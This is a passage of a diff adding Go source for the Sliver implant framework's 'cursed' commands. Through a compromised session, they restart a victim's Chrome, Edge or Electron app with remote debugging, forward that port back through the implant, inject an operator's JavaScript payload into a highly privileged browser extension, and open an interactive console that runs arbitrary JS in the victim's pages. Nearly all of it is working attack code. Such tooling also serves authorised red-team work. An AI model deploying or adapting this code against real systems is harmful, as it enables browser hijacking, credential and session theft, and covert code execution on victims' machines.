windowsDriveLetters = []string{"C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
|
||||
|
||||
cursedChromePermissions = []string{overlord.AllURLs, overlord.WebRequest, overlord.WebRequestBlocking}
|
||||
cursedChromePermissionsAlt = []string{overlord.AllHTTP, overlord.AllHTTPS, overlord.WebRequest, overlord.WebRequestBlocking}
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadPath := ctx.Flags.String("payload")
|
||||
var payload []byte
|
||||
var err error
|
||||
if payloadPath != "" {
|
||||
payload, err = ioutil.ReadFile(payloadPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not read payload file: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
curse := avadaKedavraChrome(session, ctx, con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
if payloadPath == "" {
|
||||
con.PrintWarnf("No Cursed Chrome payload was specified, skipping payload injection.\n")
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Searching for Chrome extension with all permissions ... ")
|
||||
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// There is one alternative set of permissions that we can use if we don't find an extension
|
||||
// with all the proper permissions.
|
||||
if chromeExt == nil {
|
||||
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if chromeExt != nil {
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
||||
con.PrintInfof("Injecting payload ... ")
|
||||
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
// defer cancel()
|
||||
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
} else {
|
||||
con.Printf("failure!\n")
|
||||
con.PrintInfof("No viable Chrome extensions were found ☹️\n")
|
||||
}
|
||||
}
|
||||
|
||||
func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
chromeProcess, err := getChromeProcess(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if chromeProcess != nil {
|
||||
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: chromeProcess.GetPid(),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedChromeProcess(false, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
return curse
|
||||
}
|
||||
|
||||
func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
|
||||
name := "Chrome"
|
||||
if isEdge {
|
||||
name = "Edge"
|
||||
}
|
||||
|
||||
con.PrintInfof("Finding %s executable path ... ", name)
|
||||
chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Finding %s user data directory ... ", name)
|
||||
chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
|
||||
con.PrintInfof("Starting %s process ... ", name)
|
||||
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
|
||||
args := []string{
|
||||
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
|
||||
}
|
||||
if chromeUserDataDir != "" {
|
||||
args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
|
||||
}
|
||||
if ctx.Flags.Bool("restore") {
|
||||
args = append(args, "--restore-last-session")
|
||||
}
|
||||
|
||||
// Execute the Chrome process with the extra flags
|
||||
// TODO: PPID spoofing, etc.
|
||||
chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: chromeExePath,
|
||||
Args: args,
|
||||
Output: false,
|
||||
})
|
||||
if err != nil {
|
||||
con.Printf("failure!\n")
|
||||
return nil, err
|
||||
}
|
||||
con.Printf("(pid: %d) success!\n", chromeExec.GetPid())
|
||||
|
||||
con.PrintInfof("Waiting for %s process to initialize ... ", name)
|
||||
time.Sleep(2 * time.Second)
|
||||
|
||||
bindPort := insecureRand.Intn(10000) + 40000
|
||||
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
|
||||
|
||||
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
|
||||
|
||||
tcpProxy := &tcpproxy.Proxy{}
|
||||
channelProxy := &core.ChannelProxy{
|
||||
Rpc: con.Rpc,
|
||||
Session: session,
|
||||
RemoteAddr: remoteAddr,
|
||||
BindAddr: bindAddr,
|
||||
KeepAlivePeriod: 60 * time.Second,
|
||||
DialTimeout: 30 * time.Second,
|
||||
}
|
||||
tcpProxy.AddRoute(bindAddr, channelProxy)
|
||||
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
|
||||
|
||||
curse := &core.CursedProcess{
|
||||
SessionID: session.ID,
|
||||
PID: chromeExec.GetPid(),
|
||||
PortFwd: portFwd,
|
||||
BindTCPPort: bindPort,
|
||||
Platform: session.GetOS(),
|
||||
ExePath: chromeExePath,
|
||||
ChromeUserDataDir: chromeUserDataDir,
|
||||
}
|
||||
core.CursedProcesses.Store(bindPort, curse)
|
||||
go func() {
|
||||
err := tcpProxy.Run()
|
||||
if err != nil {
|
||||
log.Printf("Proxy error %s", err)
|
||||
}
|
||||
core.CursedProcesses.Delete(bindPort)
|
||||
}()
|
||||
|
||||
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
|
||||
|
||||
return curse, nil
|
||||
}
|
||||
|
||||
func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
|
||||
userDataFlag := ctx.Flags.String("user-data")
|
||||
if userDataFlag != "" {
|
||||
return userDataFlag, nil
|
||||
}
|
||||
|
||||
switch session.GetOS() {
|
||||
|
||||
case "windows":
|
||||
username := session.GetUsername()
|
||||
if strings.Contains(username, "\\") {
|
||||
username = strings.Split(username, "\\")[1]
|
||||
}
|
||||
for _, driveLetter := range windowsDriveLetters {
|
||||
userDataDir := fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data", driveLetter, username)
|
||||
if isEdge {
|
||||
userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: userDataDir,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return userDataDir, nil
|
||||
}
|
||||
}
|
||||
return "", ErrUserDataDirNotFound
|
||||
|
||||
case "darwin":
|
||||
userDataDir := fmt.Sprintf("/Users/%s/Library/Application Support/Google/Chrome", session.Username)
|
||||
if isEdge {
|
||||
userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: userDataDir,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return userDataDir, nil
|
||||
}
|
||||
return "", ErrUserDataDirNotFound
|
||||
|
||||
default:
|
||||
return "", ErrUnsupportedOS
|
||||
}
|
||||
}
|
||||
|
||||
func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
|
||||
exeFlag := ctx.Flags.String("exe")
|
||||
if exeFlag != "" {
|
||||
return exeFlag, nil
|
||||
}
|
||||
|
||||
switch session.GetOS() {
|
||||
|
||||
case "windows":
|
||||
chromeWindowsPaths := []string{
|
||||
"[DRIVE]:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"[DRIVE]:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe",
|
||||
"[DRIVE]:\\Program Files (x86)\\Google\\Application\\chrome.exe",
|
||||
}
|
||||
if isEdge {
|
||||
chromeWindowsPaths = []string{
|
||||
"[DRIVE]:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
"[DRIVE]:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
"[DRIVE]:\\Users\\[USERNAME]\\AppData\\Local\\Microsoft\\Edge\\Application\\msedge.exe",
|
||||
}
|
||||
}
|
||||
username := session.GetUsername()
|
||||
if strings.Contains(username, "\\") {
|
||||
username = strings.Split(username, "\\")[1]
|
||||
}
|
||||
for _, driveLetter := range windowsDriveLetters {
|
||||
for _, chromePath := range chromeWindowsPaths {
|
||||
chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
|
||||
chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: chromeExecutablePath,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return chromeExecutablePath, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return "", ErrChromeExecutableNotFound
|
||||
|
||||
case "darwin":
|
||||
// AFAIK Chrome only installs to this path on macOS
|
||||
defaultChromePath := "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
|
||||
if isEdge {
|
||||
defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
|
||||
}
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: defaultChromePath,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return defaultChromePath, nil
|
||||
}
|
||||
return "", ErrChromeExecutableNotFound
|
||||
|
||||
case "linux":
|
||||
chromeLinuxPaths := []string{
|
||||
"/usr/bin/google-chrome",
|
||||
"/usr/bin/chromium-browser",
|
||||
"/usr/local/bin/google-chrome",
|
||||
"/usr/local/bin/chromium-browser",
|
||||
}
|
||||
if isEdge {
|
||||
chromeLinuxPaths = []string{
|
||||
"/usr/bin/microsoft-edge",
|
||||
"/usr/local/bin/microsoft-edge",
|
||||
}
|
||||
}
|
||||
for _, chromePath := range chromeLinuxPaths {
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: chromePath,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if ls.GetExists() {
|
||||
return chromePath, nil
|
||||
}
|
||||
}
|
||||
return "", ErrChromeExecutableNotFound
|
||||
|
||||
default:
|
||||
return "", ErrUnsupportedOS
|
||||
}
|
||||
}
|
||||
|
||||
func isChromeProcess(executable string) bool {
|
||||
var chromeProcessNames = []string{
|
||||
"chrome", // Linux
|
||||
"google-chrome", // Linux
|
||||
"chromium-browser", // Linux
|
||||
"chrome.exe", // Windows
|
||||
"Google Chrome", // Darwin
|
||||
}
|
||||
for _, suffix := range chromeProcessNames {
|
||||
if strings.HasSuffix(executable, suffix) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if isChromeProcess(process.GetExecutable()) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -0,0 +1,135 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/desertbit/readline"
|
||||
)
|
||||
|
||||
func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Querying debug targets ... ")
|
||||
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
|
||||
con.Printf(console.Clearln + "\r")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to query debug targets: %s\n", err)
|
||||
return
|
||||
}
|
||||
target := selectDebugTarget(targets, con)
|
||||
if target == nil {
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
|
||||
startCursedConsole(curse, target, con)
|
||||
}
|
||||
|
||||
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
|
||||
if len(targets) < 1 {
|
||||
con.PrintErrorf("No debug targets\n")
|
||||
return nil
|
||||
}
|
||||
|
||||
id2target := map[string]overlord.ChromeDebugTarget{}
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
for _, target := range targets {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\n", target.ID, target.Title, target.URL)
|
||||
id2target[target.ID] = target
|
||||
}
|
||||
table.Flush()
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a debug target:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if selected == "" {
|
||||
return nil
|
||||
}
|
||||
selectedID := strings.Split(selected, " ")[0]
|
||||
selectedTarget := id2target[selectedID]
|
||||
return &selectedTarget
|
||||
}
|
||||
|
||||
func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
|
||||
tmpFile, _ := ioutil.TempFile("", "cursed")
|
||||
reader, err := readline.NewEx(&readline.Config{
|
||||
Prompt: "\033[31mcursed »\033[0m ",
|
||||
HistoryFile: tmpFile.Name(),
|
||||
// AutoComplete: nil,
|
||||
InterruptPrompt: "^C",
|
||||
EOFPrompt: "exit",
|
||||
HistorySearchFold: true,
|
||||
// FuncFilterInputRune: filterInput,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to create read line: %s\n", err)
|
||||
return
|
||||
}
|
||||
for {
|
||||
line, err := reader.Readline()
|
||||
if err == readline.ErrInterrupt {
|
||||
if len(line) == 0 {
|
||||
break
|
||||
} else {
|
||||
continue
|
||||
}
|
||||
} else if err == io.EOF {
|
||||
break
|
||||
}
|
||||
switch strings.TrimSpace(line) {
|
||||
case "exit":
|
||||
return
|
||||
default:
|
||||
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
|
||||
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
con.Println()
|
||||
if 0 < len(result) {
|
||||
con.Printf("%s\n", result)
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedEdgeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadPath := ctx.Flags.String("payload")
|
||||
var payload []byte
|
||||
var err error
|
||||
if payloadPath != "" {
|
||||
payload, err = ioutil.ReadFile(payloadPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not read payload file: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
curse := avadaKedavraEdge(session, ctx, con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
if payloadPath == "" {
|
||||
con.PrintWarnf("No Cursed Edge payload was specified, skipping payload injection.\n")
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Searching for Edge extension with all permissions ... ")
|
||||
chromeExt, err := overlord.FindExtensionWithPermissions(curse, cursedChromePermissions)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// There is one alternative set of permissions that we can use if we don't find an extension
|
||||
// with all the proper permissions.
|
||||
if chromeExt == nil {
|
||||
chromeExt, err = overlord.FindExtensionWithPermissions(curse, cursedChromePermissionsAlt)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if chromeExt != nil {
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
||||
con.PrintInfof("Injecting payload ... ")
|
||||
ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
// defer cancel()
|
||||
_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Printf("success!\n")
|
||||
} else {
|
||||
con.Printf("failure!\n")
|
||||
con.PrintInfof("No viable Edge extensions were found ☹️\n")
|
||||
}
|
||||
}
|
||||
|
||||
func avadaKedavraEdge(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
edgeProcess, err := getEdgeProcess(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if edgeProcess != nil {
|
||||
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: edgeProcess.GetPid(),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedChromeProcess(true, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
return curse
|
||||
}
|
||||
|
||||
func isEdgeProcess(executable string) bool {
|
||||
var edgeProcessNames = []string{
|
||||
"msedge", // Linux
|
||||
"microsoft-edge", // Linux
|
||||
"msedge.exe", // Windows
|
||||
"Microsoft Edge", // Darwin
|
||||
}
|
||||
for _, suffix := range edgeProcessNames {
|
||||
if strings.HasSuffix(executable, suffix) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func getEdgeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, process := range ps.Processes {
|
||||
if process.GetOwner() != session.GetUsername() {
|
||||
continue
|
||||
}
|
||||
if isEdgeProcess(process.GetExecutable()) {
|
||||
return process, nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
@@ -0,0 +1,229 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
insecureRand "math/rand"
|
||||
"path"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/client/tcpproxy"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedElectronCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
electronExe := ctx.Flags.String("exe")
|
||||
if electronExe == "" {
|
||||
con.PrintErrorf("Missing --exe flag, see --help\n")
|
||||
return
|
||||
}
|
||||
|
||||
curse := avadaKedavraElectron(electronExe, session, ctx, con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Checking for debug targets ...")
|
||||
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
|
||||
con.Printf(console.Clearln + "\r")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to query debug targets: %s\n", err)
|
||||
return
|
||||
}
|
||||
if len(targets) == 0 {
|
||||
con.PrintErrorf("Zero debug targets found\n")
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
|
||||
}
|
||||
|
||||
func avadaKedavraElectron(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
|
||||
exists, err := checkElectronPath(electronExe, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return nil
|
||||
}
|
||||
if !exists {
|
||||
con.PrintErrorf("Executable path does not exist: %s", electronExe)
|
||||
return nil
|
||||
}
|
||||
electronProcess, err := checkElectronProcess(electronExe, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if electronProcess != nil {
|
||||
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
|
||||
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if !confirm {
|
||||
con.PrintErrorf("User cancel\n")
|
||||
return nil
|
||||
}
|
||||
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: electronProcess.Pid,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
|
||||
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
curse, err := startCursedElectronProcess(electronExe, session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
return curse
|
||||
}
|
||||
|
||||
